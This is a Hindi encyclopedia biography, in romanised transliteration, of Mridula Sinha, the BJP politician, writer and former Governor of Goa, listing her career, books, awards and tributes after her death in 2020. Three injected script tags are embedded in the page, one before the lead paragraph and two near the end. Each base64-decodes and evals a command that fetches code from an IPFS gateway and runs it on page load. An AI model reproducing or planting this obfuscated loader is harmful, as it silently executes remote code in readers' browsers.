मृदुला सिन्हा

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
mridula sinha
poora nam mridula sinha
janm 27 navanbar, 1942
janm bhoomi mujaphphapur, bihar
mrityu 18 navanbar, 2020
pati/patni d aauktar ramakripal sinha
karm bhoomi bharat
mukhy rachanaean jyoan mehandi ko rang, nee devayani, gharavas, atishay, aeene ke samane, dekhane mean chhote lage adi.
shiksha eme aur bied
prasiddhi manovijnan mean rajanitijn tatha lekhika
nagarikata bharatiy
rajyapal, gova 26 agast, 2014 se 23 aktoobar, 2019 tak
any janakari mridula sinha ne manav sansadhan vikas mantralay ke seantral soshal velapheyar bord ki cheyaraparsan ka pad bhi sanbhala. isake alava ve jayaprakash narayan ke 'samagr kaanti' ka bhi hissa rahian.
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>mridula sinha (aangrezi: Mridula Sinha, janm- 27 navanbar, 1942, mujaphphapur, bihar; mrityu- 18 navanbar, 2020) bharatiy janata parti ki varishth neta aur gova ki poorv rajyapal thian. ve shuroo se janasangh se ju di rahian. unaki ginati bijepi ke prabhavi netaoan mean ki jati thi. vah ek saphal rajanitijn ke alava ek saphal lekhika bhi rahian. unhoanne apane jivan mean 46 se jyada kitabean likhian haian. vijayaraje siandhiya par likhi unaki kitab ‘ek thi rani aisi bhi’ par philm bhi bani thi.

parichay

27 navanbar, 1942 ko bihar ke mujaphphapur mean janmian mridula sinha gova ki pahali mahila rajyapal thian. unhoanne manovijnan mean eme aur bied kiya tha. isake bad kuchh samay mujaphpharapur ke ek k aaulej mean padhaya. motihari mean ek skool ki priansipal bhi rahian. bad mean naukari chho dakar poori tarah lekhan mean ram geean.[1]

rajaniti ke alava sahity ki duniya mean bhi unaka nam kaphi ooancha tha. unhoanne apane jivan mean 46 se jyada kitabean likhian haian. vijayaraje siandhiya par likhi unaki kitab ‘ek thi rani aisi bhi’ par philm bhi bani thi. mridula sinha ke pati d aauktar ramakripal sinha bihar mean kaibinet mantri aur keandr sarakar mean rajy mantri rahe. atal bihari vajapeyi ki sarakar ke dauran mridula sinha keandriy samaj kalyan bord ki adhyaksh rahian. bad mean unhean gova ki rajyapal banaya gaya tha.[2]

rajaniti

rajanitik jivan ki bat karean to bijepi ki varishth neta mridula sinha bhajapa ki mahila morcha ki adhyaksh rah chuki thian. unhoanne manav sansadhan vikas mantralay ke seantral soshal velapheyar bord ki cheyaraparsan ka pad bhi sanbhala. isake alava ve jayaprakash narayan ke 'samagr kaanti' ka bhi hissa rahian. mridula sinha ke pati d aauktar ramakripal sinha ek k aaulej mean lekcharar the, jo bad mean bihar sarakar mean kaibinet mantri rahe.[3]

lekhan kary

mridula ji ki pahachan rajaneta ke sath hiandi lekhika ki bhi rahi. ve 'paanchavaan stambh' nam se ek samajik patrika nikal chuki thian. unhoanne alag-alag vishayoan par 46 pustakean aur upanyas likhe. vijayaraje siandhiya par likhi unaki kitab ‘ek thi rani aisi bhi’ par philm bhi bani thi. ve lok paranparaoan par lagatar likhati rahian. chhath parv unaka priy vishay tha aur unhoanne lekhan mean ise lagatar shamil kiya.

  1. upanyas - jyoan mehandi ko rang, nee devayani, gharavas, atishay.
  2. kahani sangrah - sakshatkar, sparsh ki tasir, ek diye ki divali.
  3. nibandh sangrah - aeene ke samane, k kh g, manavi ke nate.
  4. laghukatha sangrah - dekhane mean chhote lage.

puran ke bachche, bihar ki lokakathaऍan: bhag 1,2; rajapath se lokapath par[4]

prakashit kritiyaan

  1. rajapath se lokapath par (jivani)
  2. nee devayani (upanyas)
  3. jyoan meanhadi ko rang (upanyas)
  4. gharavas (upanyas)
  5. yayavari aankhoan se (lekhoan ka sangrah)
  6. dekhan mean chhote lagean (kahani sangrah)
  7. sita puni bolian (upanyas)
  8. bihar ki lokakathayean -ek (kahani sangrah)
  9. bihar ki lokakathayean -do (kahani sangrah)
  10. dhaee bigha jamin (kahani sangrah)
  11. matr deh nahian hai aurat (stri-vimarsh)
  12. vikas ka vishh‍vas (lekhoan ka sangrah)
  13. sakshath‍kar(kahani sangrah)

puraskar v samman

mridula sinha ko uttar pradesh hindi sansthan ka 'sahity bhooshan samman', 'dinadayal upadhyay puraskar' samet kee doosare samman aur puraskar mile. inake alava kee sahityik manchoan se bhi unhean sammanit kiya gaya.

mrityu

mridula sinha ka nidhan 18 navanbar, 2020 ko hua. mridula ji shuroo se janasangh se ju di rahian aur bhajapa ki prabhavi neta thian. unake nidhan par pradhanamantri nareandr modi aur grihamantri amit shah ne du:kh jataya. nareandr modi ne kaha ki "mridula sinha ji hamesha janaseva ko lekar apane prayasoan ke lie yad ki jaeangi. vo ek kushal lekhak thian, jinhoanne sanskriti ke sath-sath sahity ki duniya mean bhi bahut b da yogadan diya hai. unake nidhan se du:khi hooan. unake parivar aur prashansakoan ke sath meri sanvedanaean haian".

grihamantri amit shah ne kaha ki "gova ki poorv rajyapal v varishth bhajapa neta mridula sinha ji ka nidhan bahut du:khad hai. unhoanne jivan paryant rashtr, samaj aur sangathan ke lie kam kiya. vah ek nipun lekhika bhi thian, jinhean unake lekhan ke lie bhi sadaiv yad kiya jaega. unake parijanoan ke prati sanvedana vyakt karata hooan. Om shanti".

bihar ke begusaray se bharatiy janata parti ke saansad giriraj sianh ne bhi mridula sinha ke nidhan par unhean shraddhaanjali di. giriraj sianh ne tvitar par unhean shraddhaanjali dete hue likha ki- "gova ki poorv rajyapal, prakhyat sahityakar evan bhajapa ki varishth netri mridula sinha ji ke nidhan se man vyathit hai. unaka nidhan bhajapa parivar ke lie ek apoorniy kshati hai. hamare mathe par se ek ashirvad uth gaya. prabhu unaki atma ko shaanti dean".


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. gova ki poorv rajyapal mridula sinha nahian rahian (hiandi) bhaskar.com. abhigaman tithi: 19 navanbar, 2020.
  2. gova ki poorv rajyapal mridula sinha ka nidhan (hiandi) aajtak.in. abhigaman tithi: 19 navanbar, 2020.
  3. gova ki poorv rajyapal mridula sinha ka nidhan (hiandi) hindi.news18.com. abhigaman tithi: 19 navanbar, 2020.
  4. rajamata vijayaraje siandhiya ki atmakatha ka sanpadan

bahari k diyaan

sanbandhit lekh

  1. punarpreshit saancha:rajyapal, uparajyapal v prashasak<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah